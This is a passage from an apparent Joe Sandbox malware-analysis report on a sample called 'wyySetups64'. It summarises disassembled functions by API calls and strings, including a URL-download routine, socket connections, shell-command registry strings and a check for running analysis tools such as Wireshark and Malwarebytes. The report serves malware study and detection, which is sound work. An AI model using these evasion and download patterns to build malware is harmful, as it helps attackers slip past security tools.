Instruction Fuzzy Hash: C341E275B80300FFFA21EB109CC7F6E7358AF45B11F144056FA146E283E6E9A91586AA

Function 00BD9AC6 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9ACE
__mtterm.LIBCMT ref: 00BD9ADA

Part of subcall function 00BD97A5: DecodePointer.KERNEL32(00000008,00BD76A5,00BD768B,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD97B6
Part of subcall function 00BD97A5: TlsFree.KERNEL32(00000025,00BD76A5,00BD768B,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD97D0
Part of subcall function 00BD97A5: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00BD76A5,00BD768B,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BDC031
Part of subcall function 00BD97A5: _free.LIBCMT ref: 00BDC034
Part of subcall function 00BD97A5: DeleteCriticalSection.KERNEL32(00000025,?,?,00BD76A5,00BD768B,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BDC05B

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00BD9AF0
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00BD9AFD
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00BD9B0A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00BD9B17
TlsAlloc.KERNEL32(?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9B67
TlsSetValue.KERNEL32(00000000,?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9B82
__init_pointers.LIBCMT ref: 00BD9B8C
EncodePointer.KERNEL32(?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9B9D
EncodePointer.KERNEL32(?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9BAA
EncodePointer.KERNEL32(?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9BB7
EncodePointer.KERNEL32(?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9BC4
DecodePointer.KERNEL32(Function_00009929,?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9BE5
__calloc_crt.LIBCMT ref: 00BD9BFA
DecodePointer.KERNEL32(00000000,?,?,00BD75E2,00BE7B60,00000008,00BD7776,?,?,?,00BE7B80,0000000C,00BD7831,?), ref: 00BD9C14
GetCurrentThreadId.KERNEL32 ref: 00BD9C26

Strings

FlsSetValue, xrefs: 00BD9AFF
FlsFree, xrefs: 00BD9B0C
FlsAlloc, xrefs: 00BD9AEA
FlsGetValue, xrefs: 00BD9AF2
KERNEL32.DLL, xrefs: 00BD9AC9

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: d02334cdd8fc517f87d8c0db259ecedfe97032881212ab8ec9a8e59f087eb494
Instruction ID: 31958e4f77718c400eadba5e4d0543c9b9b177ebdda2bd5056ed0d6972e1f726
Opcode Fuzzy Hash: d02334cdd8fc517f87d8c0db259ecedfe97032881212ab8ec9a8e59f087eb494
Instruction Fuzzy Hash: 7D319E319007959BC739AF75AC9AE1BBAE5EB64324B18015BE405DB2B0FF348841CF41

Function 03384014 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 0338401C
__mtterm.LIBCMT ref: 03384028

Part of subcall function 03383CF1: DecodePointer.KERNEL32(00000009,03381084,0338106A,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03383D02
Part of subcall function 03383CF1: TlsFree.KERNEL32(00000027,03381084,0338106A,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03383D1C
Part of subcall function 03383CF1: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,03381084,0338106A,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03388D48
Part of subcall function 03383CF1: _free.LIBCMT ref: 03388D4B
Part of subcall function 03383CF1: DeleteCriticalSection.KERNEL32(00000027,?,?,03381084,0338106A,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03388D72

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0338403E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0338404B
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 03384058
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 03384065
TlsAlloc.KERNEL32(?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 033840B5
TlsSetValue.KERNEL32(00000000,?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 033840D0
__init_pointers.LIBCMT ref: 033840DA
EncodePointer.KERNEL32(?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 033840EB
EncodePointer.KERNEL32(?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 033840F8
EncodePointer.KERNEL32(?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03384105
EncodePointer.KERNEL32(?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03384112
DecodePointer.KERNEL32(Function_00013E75,?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03384133
__calloc_crt.LIBCMT ref: 03384148
DecodePointer.KERNEL32(00000000,?,?,03380FC1,03396278,00000008,03381155,?,?,?,03396298,0000000C,03381210,?), ref: 03384162
GetCurrentThreadId.KERNEL32 ref: 03384174

Strings

FlsGetValue, xrefs: 03384040
KERNEL32.DLL, xrefs: 03384017
FlsSetValue, xrefs: 0338404D
FlsAlloc, xrefs: 03384038
FlsFree, xrefs: 0338405A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 2ddb61838f8e992222755929409253e63c1e4053ecff06f08ca908136e5f6248
Instruction ID: 2d45ebec50304d8a47e9ab33e18b10d1196ce1d2af99504e8eff2f92264d464e
Opcode Fuzzy Hash: 2ddb61838f8e992222755929409253e63c1e4053ecff06f08ca908136e5f6248
Instruction Fuzzy Hash: EF3162B5D04B09EEDB58FF76ACC861A7FACEB45760F04091BE850C6658EB358045EF40

Function 0337C3A0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 170stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337C3C2
_wcsrchr.LIBCMT ref: 0337C3CA
_memset.LIBCMT ref: 0337C401
_wcsrchr.LIBCMT ref: 0337C409
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0337C416
_memset.LIBCMT ref: 0337C484
wsprintfW.USER32 ref: 0337C49C
_memset.LIBCMT ref: 0337C4B0
_memset.LIBCMT ref: 0337C4CB
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000002), ref: 0337C501
lstrcatW.KERNEL32(?,0339535C), ref: 0337C549
lstrcatW.KERNEL32(?,?), ref: 0337C553
_memset.LIBCMT ref: 0337C56A

Strings

"%1, xrefs: 0337C50D
WinSta0\Default, xrefs: 0337C582
%s\shell\open\command, xrefs: 0337C496
D, xrefs: 0337C576

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _memset$_wcsrchrlstrcat$EnvironmentExpandStringslstrlenwsprintf
String ID: "%1$%s\shell\open\command$D$WinSta0\Default
API String ID: 3970221696-33419044
Opcode ID: 6f161971013b0acc1f56971d726e1b7931148ab797207a2020239ec71e541376
Instruction ID: 28eb35eacecd6b73ab055e62384f426c0ea01edfd0455b78c234aab5324f5f69
Opcode Fuzzy Hash: 6f161971013b0acc1f56971d726e1b7931148ab797207a2020239ec71e541376
Instruction Fuzzy Hash: 275195B694031DA6EB30FB60CCC5FEF737CAF55700F004595B609AA081EA799688CBA5

Function 03377C80 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 141libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wininet.dll), ref: 03377CC3
GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 03377CD7
FreeLibrary.KERNEL32(00000000), ref: 03377CF7
GetProcAddress.KERNEL32(00000000,InternetOpenUrlW), ref: 03377D16
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 03377D53
_memset.LIBCMT ref: 03377D7E
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 03377D8C
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 03377DDB
CloseHandle.KERNEL32(?), ref: 03377DF9
Sleep.KERNEL32(00000001), ref: 03377E01
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 03377E0D
FreeLibrary.KERNEL32(00000000), ref: 03377E28

Strings

InternetOpenUrlW, xrefs: 03377D10
MSIE 6.0, xrefs: 03377CE1
InternetOpenW, xrefs: 03377CD1
InternetCloseHandle, xrefs: 03377E07
wininet.dll, xrefs: 03377CA6
InternetReadFile, xrefs: 03377D86

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: AddressProc$Library$FileFree$CloseCreateHandleLoadSleepWrite_memset
String ID: InternetCloseHandle$InternetOpenUrlW$InternetOpenW$InternetReadFile$MSIE 6.0$wininet.dll
API String ID: 1463273941-1099148085
Opcode ID: 24845e06246e724cdcab3c70aaef93c10be4ad7a320b0112e9db2c97b382dd7d
Instruction ID: 2cc27733687cae9b7757fe614a570e5206bbe3fa9326fbdd1e4b949763383188
Opcode Fuzzy Hash: 24845e06246e724cdcab3c70aaef93c10be4ad7a320b0112e9db2c97b382dd7d
Instruction Fuzzy Hash: 2C416471A4021CEBDB30EB648C85FEEB3B8BF44700F14C599E644A6180DE745A858FD4

Function 03374530 Relevance: 27.2, APIs: 18, Instructions: 247threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0337455A
timeGetTime.WINMM ref: 0337457B
GetCurrentThreadId.KERNEL32 ref: 0337459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 033745BD
SwitchToThread.KERNEL32 ref: 033745D7
SetEvent.KERNEL32(?), ref: 03374620
CloseHandle.KERNEL32(?), ref: 03374644
send.WS2_32(?,033949C0,00000010,00000000), ref: 03374668
SetEvent.KERNEL32(?), ref: 03374686
InterlockedExchange.KERNEL32(?,00000000), ref: 03374691
WSACloseEvent.WS2_32(?), ref: 0337469F
shutdown.WS2_32(?,00000001), ref: 033746B3
closesocket.WS2_32(?), ref: 033746BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 033746F6
SetLastError.KERNEL32(000005B4), ref: 0337470A
GetCurrentThreadId.KERNEL32 ref: 0337472B
InterlockedExchange.KERNEL32(?,00000001), ref: 03374743

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCurrentErrorLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 1692523546-0
Opcode ID: d25fdeeaf1e3ade76fafefa28543cafb80772b42cdb684446567188d831f434b
Instruction ID: 232d7c0b49e7a4e344f8e88ab3cce64caa8ad4041ec374f5581e60619bf390eb
Opcode Fuzzy Hash: d25fdeeaf1e3ade76fafefa28543cafb80772b42cdb684446567188d831f434b
Instruction Fuzzy Hash: EE91BB75600A1AEBC734DF26D8C8AAAF7A9FF44701F048519E516CBA44C73AF891CBD0

Function 0337A6F0 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337A748
_memset.LIBCMT ref: 0337A788
_memset.LIBCMT ref: 0337A80E
swprintf.LIBCMT ref: 0337A82D

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

_memset.LIBCMT ref: 0337A905
swprintf.LIBCMT ref: 0337A924
_memset.LIBCMT ref: 0337A986
swprintf.LIBCMT ref: 0337A9A5

Strings

%s %s, xrefs: 0337A81C, 0337A890, 0337A913, 0337A994
plugmark, xrefs: 0337A75B
onlyloadinmyself, xrefs: 0337A71C

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: _memset$swprintf$_malloc
String ID: %s %s$onlyloadinmyself$plugmark
API String ID: 1873853019-591889663
Opcode ID: 32c45da956c4331a72ece556fcb49aabef0ab91a95a7f34aa22dbab0efd0f22d
Instruction ID: c5322e4ce9bda48ce49fcf1b0fe337aa32855a42e9972fa7cfc258826fa3785a
Opcode Fuzzy Hash: 32c45da956c4331a72ece556fcb49aabef0ab91a95a7f34aa22dbab0efd0f22d
Instruction Fuzzy Hash: EB81C1B9E40304ABEB20EB24DCC6F6B77A4AF45710F0841A5FD185F382E675E95187E2

Function 03375CC0 Relevance: 24.7, APIs: 2, Strings: 12, Instructions: 164windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 03375CD3

Strings

Malwarebytes, xrefs: 03375D33
Wireshark, xrefs: 03375DB7
Sniff, xrefs: 03375E49
TaskExplorer, xrefs: 03375D5F
Metascan, xrefs: 03375DA1
Capsa, xrefs: 03375E37, 03375E5B
Process, xrefs: 03375E6D
CurrPorts, xrefs: 03375D75
TCPEye, xrefs: 03375D49
ApateDNS, xrefs: 03375D1D
Fiddler, xrefs: 03375E0F
Port, xrefs: 03375D8B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: VisibleWindow
String ID: ApateDNS$Capsa$CurrPorts$Fiddler$Malwarebytes$Metascan$Port$Process$Sniff$TCPEye$TaskExplorer$Wireshark
API String ID: 1208467747-3439171801
Opcode ID: 76018dff8240c20d00c6e15db23fa01155d41fdeb6a42deb21bb2cd4d7f35201
Instruction ID: 5f5f3f0b16c01c5b0087bd2a35a48aca63a7942d663840edd6b8e3e582b1f76d
Opcode Fuzzy Hash: 76018dff8240c20d00c6e15db23fa01155d41fdeb6a42deb21bb2cd4d7f35201
Instruction Fuzzy Hash: A74161A6E51B11BAFE7AF6316DC2FEF214C0D2358AF080066EC58EC515F64D935980EE

Function 00BD4530 Relevance: 24.2, APIs: 16, Instructions: 180threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 00BD455A
timeGetTime.WINMM ref: 00BD457B
GetCurrentThreadId.KERNEL32 ref: 00BD459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 00BD45BD
SwitchToThread.KERNEL32 ref: 00BD45D7
SetEvent.KERNEL32(?), ref: 00BD4620
CloseHandle.KERNEL32(?), ref: 00BD4644
send.WS2_32(?,00BE7440,00000010,00000000), ref: 00BD4668
SetEvent.KERNEL32(?), ref: 00BD4686
InterlockedExchange.KERNEL32(?,00000000), ref: 00BD4691
WSACloseEvent.WS2_32(?), ref: 00BD469F
shutdown.WS2_32(?,00000001), ref: 00BD46B3
closesocket.WS2_32(?), ref: 00BD46BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 00BD46F6
SetLastError.KERNEL32(000005B4), ref: 00BD470A
GetCurrentThreadId.KERNEL32 ref: 00BEFA44

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: EventThread$CloseCurrentErrorExchangeInterlockedLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 3448239111-0
Opcode ID: fe1065ad166a2c7e744d0c7783a49c6b59afd02074ffd271cf3812bf2d7238ea
Instruction ID: a7cbf9291dae1b2ef11d1bd64a84cf9a397773f311e88c2172d2094b5fb96f9a
Opcode Fuzzy Hash: fe1065ad166a2c7e744d0c7783a49c6b59afd02074ffd271cf3812bf2d7238ea
Instruction Fuzzy Hash: 0C51AD71600A52ABC724DF64D8C8BA9F7A5FF15709F1041A6F5068BB90EB70E890CBD0

Function 0337DA30 Relevance: 21.3, APIs: 14, Instructions: 254COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,?,?,?,?,?,0337A8C1,?,?), ref: 0337DA43
SetLastError.KERNEL32(000000C1,?,?,?,?,?,?,0337A8C1,?,?), ref: 0337DA62

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 02c5cd16a2f0afb77a7d3c9b484728ca4d5cd0d4ae053c3036a395f9eadef436
Instruction ID: 4e381ed643d164ef3ea292bd3d39e27a0d2b7b400d51734bc99b6258c6529d65
Opcode Fuzzy Hash: 02c5cd16a2f0afb77a7d3c9b484728ca4d5cd0d4ae053c3036a395f9eadef436
Instruction Fuzzy Hash: A581EF76700605ABD770DFA9ECC4B6AB7E8FF48315F084569E94ADBA40E779E400CB90

Function 0337C5E0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 164registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337C63D
_memset.LIBCMT ref: 0337C64C
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,00000000), ref: 0337C66F

Part of subcall function 0337C81E: RegCloseKey.ADVAPI32(80000000,0337C7FA), ref: 0337C82B
Part of subcall function 0337C81E: RegCloseKey.ADVAPI32(00000000), ref: 0337C834

Strings

%08X, xrefs: 0337C7D5

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Close_memset$Open
String ID: %08X
API String ID: 4292648718-3773563069
Opcode ID: e68c0de60d040e00c03c84e9f4767ffcb68e2522725247238b18a60adaf2bb81
Instruction ID: 8a48db90e178165e46bbae1608efc1c7f7839a0b347c4f721629e02f3c40c7de
Opcode Fuzzy Hash: e68c0de60d040e00c03c84e9f4767ffcb68e2522725247238b18a60adaf2bb81
Instruction Fuzzy Hash: 7D512FB2A40218AFDB24EF50DCC5FEA777CEB44704F405599F609AA180DB75AB44CB94

Function 00BD36F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 00BD3710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 00BD3749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 00BD3766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 00BD3779
WSACreateEvent.WS2_32 ref: 00BD377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,00BED990), ref: 00BD378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,00BED990), ref: 00BD3799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,00BED990), ref: 00BD37B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,00BED990), ref: 00BD37C4
gethostbyname.WS2_32(00000000), ref: 00BD37D2
htons.WS2_32(?), ref: 00BD37F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 00BD3816
connect.WS2_32(?,?,00000010), ref: 00BD382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,00BED990), ref: 00BD383A

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: 67771390a772ba2efa1cc25f5b9cd83f73a28ca6cdeae8edb8ba92efb2f91cfe
Instruction ID: f100c5865cb4e1be0470951a14e8e4c230c59dd3e33e83c9e908f3655a0c0c21
Opcode Fuzzy Hash: 67771390a772ba2efa1cc25f5b9cd83f73a28ca6cdeae8edb8ba92efb2f91cfe
Instruction Fuzzy Hash: 9E419EB1A00244ABE720DFA4DC89F7FB7B8EF48B14F104519FA11AB2D1DA75A900CB61

Function 033736F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 03373710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 03373749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 03373766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 03373779
WSACreateEvent.WS2_32 ref: 0337377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,033A1F0C), ref: 0337378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,033A1F0C), ref: 03373799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,033A1F0C), ref: 033737B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,033A1F0C), ref: 033737C4
gethostbyname.WS2_32(00000000), ref: 033737D2
htons.WS2_32(?), ref: 033737F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 03373816
connect.WS2_32(?,?,00000010), ref: 0337382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,033A1F0C), ref: 0337383A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: 71adb8c30414c19efd63397406e6b8c8da8f43c09913640908f8c20d1b1e8b23
Instruction ID: 48f70d403df5bf6f063f32e8d8c634f3cc7da661d15d811039715f22672a6891
Opcode Fuzzy Hash: 71adb8c30414c19efd63397406e6b8c8da8f43c09913640908f8c20d1b1e8b23
Instruction Fuzzy Hash: 7D415E75A00609BBEB24EBA4DCC9FBBB7BCFB48710F104619F615DA2C0C675A904DB61

Function 0337AA10 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 190sleeptimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,7AA29978), ref: 0337AA58
wsprintfW.USER32 ref: 0337AA8F
_memset.LIBCMT ref: 0337AAA7
_memset.LIBCMT ref: 0337AABA

Part of subcall function 03378020: lstrlenW.KERNEL32(?), ref: 03378038
Part of subcall function 03378020: _memset.LIBCMT ref: 03378042
Part of subcall function 03378020: lstrlenW.KERNEL32(?), ref: 0337804B
Part of subcall function 03378020: lstrlenW.KERNEL32(?), ref: 03378056

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0337ABBE
Sleep.KERNEL32(000003E8,?,?,?,?,?,?), ref: 0337AC6E
CloseHandle.KERNEL32(?), ref: 0337ACAA

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

Part of subcall function 03379730: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,7AA29978,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E,00000000), ref: 03379773
Part of subcall function 03379730: InitializeCriticalSectionAndSpinCount.KERNEL32(0337E1AE,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 03379812
Part of subcall function 03379730: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 03379850

Strings

p1:, xrefs: 0337AACE
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 0337AA89
t1:, xrefs: 0337AAF3
o1:, xrefs: 0337AAE2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

